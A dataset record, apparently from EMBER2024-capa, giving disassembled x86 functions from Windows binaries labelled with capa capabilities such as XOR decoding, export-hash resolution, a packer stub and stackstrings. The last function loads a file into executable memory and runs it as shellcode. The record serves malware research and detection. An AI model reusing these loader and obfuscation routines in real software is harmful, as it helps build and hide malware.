joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100a6375
Capabilities:
Encode data using xor

Disassembly:
call 0x100a62ee
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x100a631e
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x100a633a
xor edx, 0
jmp 0x100a6345
xor edx, edx
jmp 0x100a635c
jmp 0x100a6368
xor eax, eax
push 0x8427d7c0
call 0x100a6375
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x100a63b1
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x100a638a
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x100a63c8
add eax, 0
jno 0x100a63cd
add esi, 0
ret 0x10

Function at 0x100a7136
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x100a7158
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x100a72fa
cmp edi, dword [ebp + 0x10]
jb 0x100a72fa
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.100a6c22
inc edi
jmp 0x100a71e1
jmp 0x100a71ee
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.100a6c22
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.100a6c22
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x100a7242
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x100a7226
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.100a7270
add dword [eax], 0x39
jle 0x100a724c
sub al, 0xf5
mov ch, al
call fcn.100a7285
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10
Function at 0x100a8f5d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x100a8f73
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x100a8f84
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.100a8fc5
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx

Function at 0x100ab331
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x100ab27a
add ebx, 0
push ecx
call 0x100ab28f
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x735a7240
sub ebx, dword [0x735c6a7f]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x735c6a6f
call fcn.100a6d59
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.100a6267
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x100ab3ed
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x100ab3ed
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x100ab3a4
mov eax, 1
lock xchg dword [0x735c6a7b], eax
push 0x3dd1fc71
call 0x100ab331
push esi
add esp, 8
cmp eax, 0
jne 0x100ab31a
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x100ab340
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x100ab355
cmp ecx, edx
cmp eax, 0
je 0x100ab37a
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x100ab364
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.100ab393
dec eax
loope 0x100ab396
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x735c6a7b], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x100ab3ca
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x100ab3df
jmp 0x100ab3ea
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x100ab2d8
Function at 0x100b2452
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x100b2728
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x735b36f3
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x735aa6b9
push 0xffffffffffffffff
call fcn.100a9652
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x100b24bc
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.100b24d4
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x100b271c
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x100b26f0
Function at 0x100c1f22
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x100c1f44
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x100c1f44
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x100c1f44
ret
cmp word [ebx + 4], 0x14c
jne 0x100c1f44
test word [ebx + 0x16], 2
je 0x100c1f44
test word [ebx + 0x16], 0x100
je 0x100c1f44
cmp word [ebx + 0x18], 0x10b
jne 0x100c1f44
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x100c1f44
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x100c1fd0
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x100c1f64
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.100a8eaf
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x100c1f44
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x100c1fd0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x100c1f44
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x100c1f44
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x100c1f44
ret
cmp word [ebx + 4], 0x14c
jne 0x100c1f44
test word [ebx + 0x16], 2
je 0x100c1f44
test word [ebx + 0x16], 0x100
je 0x100c1f44
cmp word [ebx + 0x18], 0x10b
jne 0x100c1f44
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x100c1f44
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x100c1fd0
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x100c1f64
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.100a8eaf
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x100c1f44
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x100c2087
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x100c20e0
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x100c2087
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x100c2096
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x104c7d39
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x100c20e7
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.100a8f5d
cmp eax, dword [ebp + 0xc]
pop eax
je 0x100c2186
add edi, 4
add eax, 2
dec ecx
jne 0x100c20cc
call 0x100c2133
loope 0x100c2129
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x100c2183
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x100c2194
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x100c2147
cmp eax, ecx
ja 0x100c2147
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x100c21d1
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x100c21c7
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.100a943c
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x100c2096
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x100c20e0
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x100c2087
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x100c2096
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x104c7d39
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x100c20e7
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.100a8f5d
cmp eax, dword [ebp + 0xc]
pop eax
je 0x100c2186
add edi, 4
add eax, 2
dec ecx
jne 0x100c20cc
call 0x100c2133
loope 0x100c2129
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x100c2183
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x100c2194
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x100c2147
cmp eax, ecx
ja 0x100c2147
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x100c21d1
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x100c21c7
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.100a943c
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x40a063
sub eax, 0x40a009
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43301e
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x403a90
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov esp, dword [edi + 0x5614ec83]
mov esi, dword [ebp + 0x26]
push edi
mov eax, dword [esi + 0xc]
test eax, eax
jne 0x403ac4
mov eax, dword [esi + 0x824]
test eax, eax
je 0x403ac4
mov eax, dword [0xfe4102b4]
test eax, eax
je 0x403c25
in eax, 0xc6
mov ah, 0x61
inc ecx
add cl, ch
popal
push ebp
add byte [eax], al
lcall 0x100, 0x41fce13d
inc ecx
add byte [ecx], al
jne 0x403ad7
cld
inc esi
xor eax, 0xf0648ca3
add bl, ch
and al, 0x8b
dec esi
adc byte [esi + 0x9a028c], dl
cmp ecx, eax
xor al, 0x98
mov esi, dword [ecx + 0x61]
mov ecx, dword [esi + 0x10]
xchg esi, eax
mov word [edx], es
lcall 0x8b98, 0x34c83b00
jno 0x403b47
add al, byte [ecx]
mov eax, dword [0x4102c0]
inc ecx
inc eax
inc edi
or eax, 0x413cb8
cmpsb byte [esi], byte es:[edi]
add ch, ah
add byte [ebx - 0x54], dl
add ch, al
add byte [ebx + 0x4028100d], cl
idiv dword [ebx]
ror byte [edi], 0xba
pop ss
adc cl, byte [eax]
nop
xor cl, al
or esp, dword [eax]
add byte [ebx + 0x5ca54f8], cl
add edi, edx
inc eax
mov dword [0xd94102ac], eax
call fcn.00406a00
jno 0x403ac8
or eax, dword [ecx]
mov dword [0x410ba4], edx
cmc
xchg byte [eax + 8], dl
add byte [eax], al
mov edx, dword [0x410da4]
mov eax, dword [esi + 0x169e0830]
mov dword [esi + 0x8554], edx
add byte [eax], al
mov dword [esi - 0x1e], esp
out dx, eax
xor al, 8
add byte [eax], al
mov dword [edi + 4], ecx
mov ecx, dword [esi + 0x740838]
mov eax, dword [esi + 0x530830]
mov edx, dword [esi + 0x4f0834]
sub ecx, eax
mov eax, dword [esi + 0x83c]
sbb eax, dword [edx + 0xa7f0985]
jl 0x403b7a
test dword [edx + 0x73], esi
add al, 0x33
xor ebp, dword [eax - 0x63b06da9]
xor esi, dword [ebx]
test al, 0x57
xchg edx, eax
dec edi
pushfd
mov dword [edi + 0x14], eax
jb 0x403be0
push eax
or byte [eax], al
add dl, cl
xchg byte [eax], dh
or byte [eax], al
add byte [ebx + 0x8ae96], cl
test al, 0x2b
wait
mov eax, dword [esi + 0x3ff954]
sbb eax, edx
test eax, eax
jg 0x403b54
jl 0x403baa
test ecx, ecx
jae 0x403bae
mov ch, 0xc9
xor eax, eax
mov dword [eax + ebx], ebx
mov dword [edi + 0x1c], eax
mov ecx, dword [esi - 0x5ffff7af]
mov eax, dword [esi + 0x840]
mov edx, dword [esi - 0x11fff7bc]
sub ecx, eax
mov edx, dword [esi + 0x4c]
or byte [eax], al
stosb byte es:[edi], al
sbb eax, edx
test dword [edx + 0x47c0a27], ebx
test ecx, ecx
jae 0x403bde
xor ecx, ecx
xor eax, eax
mov dword [edi + 8], ecx
mov dword [0xd8b0c47], eax
or byte [ebx + 0xd8b0c47], ah
adc al, 0xd0
inc eax
xchg esi, eax
test ecx, ecx
je 0x403c25
adc eax, 0x419dac3d
mov eax, edi
cdq
idiv ecx
test dword [ebx - 0x56], ebp
sub byte [ebx + 0x40c0c815], cl
add byte [edi - 0x7d], dl
ret 0x6840
mov eax, dword [0x4117a4]
mov ecx, dword [esi + 4]
lea edx, [ebp - 0x14]
pop ds
in al, dx
add dword ss:[eax], eax
add byte [eax], al
push edx
fisttp word [ecx - 0x40170fb3]
push es
add byte [eax], al
mov edx, dword [edx]
adc dword [ecx - 0x18], 0x5c
sub eax, dword [eax]
add byte [esi - 0x39], dl
inc esi
or byte [eax], al
fst st(7)
add al, ch
invalid

Function at 0x4014a0
Capabilities:
Encode data using xor

Disassembly:
add bl, ch
and dl, byte [edx + 0x4c]
cmp al, 0x86
pushfd
or bl, byte [eax + 0x69]
or eax, 0x6fbae0aa
js 0x40148e
Function at 0x405b6c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push edi
call fcn.0040946b
test eax, eax
je 0x405cac
push 0x401fe4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor edi, edi
cmp eax, edi
mov dword [0x40e8b0], eax
jne 0x405bad
push 0x401fc0
push 0x4012c4
push 0x401fa8
call fcn.00405833
add esp, 0xc
xor eax, eax
pop edi
ret
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401f98
push eax
call esi
push 0x401f88
push dword [0x40e8b0]
mov dword [0x40e8bc], eax
call esi
push 0x401f70
push dword [0x40e8b0]
mov dword [0x40e8c0], eax
call esi
push 0x401f5c
push dword [0x40e8b0]
mov dword [0x40e8c4], eax
call esi
push 0x401f4c
push dword [0x40e8b0]
mov dword [0x40e8c8], eax
call esi
push 0x401f3c
push dword [0x40e8b0]
mov dword [0x40e8cc], eax
call esi
push 0x401f2c
push dword [0x40e8b0]
mov dword [0x40e8d0], eax
call esi
push 0x401f18
push dword [0x40e8b0]
mov dword [0x40e8d4], eax
call esi
push 0x401f08
push dword [0x40e8b0]
mov dword [0x40e8d8], eax
call esi
cmp dword [0x40e8bc], edi
mov dword [0x40e8dc], eax
pop esi
je 0x405c96
cmp dword [0x40e8c0], edi
je 0x405c96
cmp dword [0x40e8c4], edi
je 0x405c96
cmp dword [0x40e8c8], edi
je 0x405c96
cmp dword [0x40e8cc], edi
je 0x405c96
cmp dword [0x40e8d0], edi
je 0x405c96
cmp dword [0x40e8d4], edi
je 0x405c96
cmp dword [0x40e8d8], edi
je 0x405c96
cmp eax, edi
jne 0x405cac
push dword [0x40e8b0]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0x401ed4
jmp 0x405b97
xor eax, eax
inc eax
pop edi
ret
Function at 0x4062ec
Capabilities:
Contain obfuscated stackstrings

Disassembly:
stc
mov byte [ebp - 0xc], 0xcd
mov byte [ebp - 0xb], 0xda
mov byte [ebp - 0xa], 0xda
mov byte [ebp - 9], 0xbf
call fcn.00405f66
push eax
push esi
push dword [ebp + 8]
call fcn.00405f1b
mov dword [ebp - 8], eax
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.00405f66
push eax
push esi
push dword [ebp + 8]
call fcn.00405f1b
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.00405f66
push eax
push esi
push dword [ebp + 8]
call fcn.00405f1b
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.00405f56
aas
jb 0x406366
or al, ch
scasd eax, dword es:[edi]
sti
invalid
mov byte [ebp - 0x84], bl
mov byte [ebp - 0x83], bl
mov byte [ebp - 0x82], 0xe9
mov byte [ebp - 0x81], bl
mov byte [ebp - 0x80], 0x51
mov byte [ebp - 0x7f], 0x73
mov byte [ebp - 0x7e], 0x62
mov byte [ebp - 0x7d], 0x5b
mov byte [ebp - 0x7c], 0x79
mov byte [ebp - 0x7b], 0x72
mov byte [ebp - 0x7a], 0x63
invalid
inc ebp
jle 0x4063e7
invalid
invalid
Function at 0x40c130
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
cmp word [ecx], 0x5a4d
je 0x40c143
xor eax, eax
pop ebp
ret
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x40c13f
xor ecx, ecx
cmp word [eax + 0x18], 0x10b
sete cl
mov eax, ecx
pop ebp
ret

Function at 0x40c170
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
push ebx
push esi
movzx esi, word [ecx + 6]
xor edx, edx
test esi, esi
push edi
lea eax, [eax + ecx + 0x18]
jbe 0x40c1af
mov edi, dword [ebp + 0xc]
mov ecx, dword [eax + 0xc]
cmp edi, ecx
jb 0x40c1a5
mov ebx, dword [eax + 8]
add ebx, ecx
cmp edi, ebx
jb 0x40c1b1
add edx, 1
add eax, 0x28
cmp edx, esi
jb 0x40c195
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10